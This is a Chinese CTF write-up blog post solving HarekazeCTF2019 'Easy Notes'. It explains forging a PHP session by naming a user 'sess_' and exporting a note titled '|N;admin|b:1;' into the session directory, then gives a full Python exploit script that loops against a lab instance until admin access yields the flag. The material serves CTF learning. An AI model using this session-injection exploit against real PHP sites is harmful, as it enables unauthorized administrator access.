刷题笔记:[HarekazeCTF2019]Easy Notes


前言

关键字:[反序列化|session]

题解

需要获取admin权限拿flag

然后登录,可以写东西,怀疑是XSS

转了一圈没头绪,原来给了源码

显然,是要构造session

session路径是在TEMP_DIR

而这个也被用来创建临时的打包文件,显然,可以利用这个构造。

payload:

用户名为sess_

title为|N;admin|b:1;

type为.

import re
import requests

URL = 'http://9987cba0-7fe1-48b9-a969-6c429b9f6745.node4.buuoj.cn:81/'
i = 0
while True:
    print(i)
    i += 1
    # login as sess_
    sess = requests.Session()
    sess.post(URL + 'login.php', data={
        'user': 'sess_'
    })

    # make a crafted note
    sess.post(URL + 'add.php', data={
        'title': '|N;admin|b:1;',
        'body': 'hello'
    })

    # make a fake session
    r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']
    print(r)

    sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]
    print(sessid)

    # get the flag
    r = requests.get(URL + '?page=flag', cookies={
        'PHPSESSID': sessid
    }).content.decode('utf-8')
    flag = re.findall(r'flag\{.+\}', r)

    if len(flag) > 0:
        print(flag[0])
        break

本地测试了下,新建的session格式是

关于session反序列化问题看刷题笔记:bestphp’s revenge

写入文件是这样

经过反序列化后再序列化变这样

大致想了一下,类似这种反序列化题,应该可以直接无脑|N;+构造好的序列化字符串。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录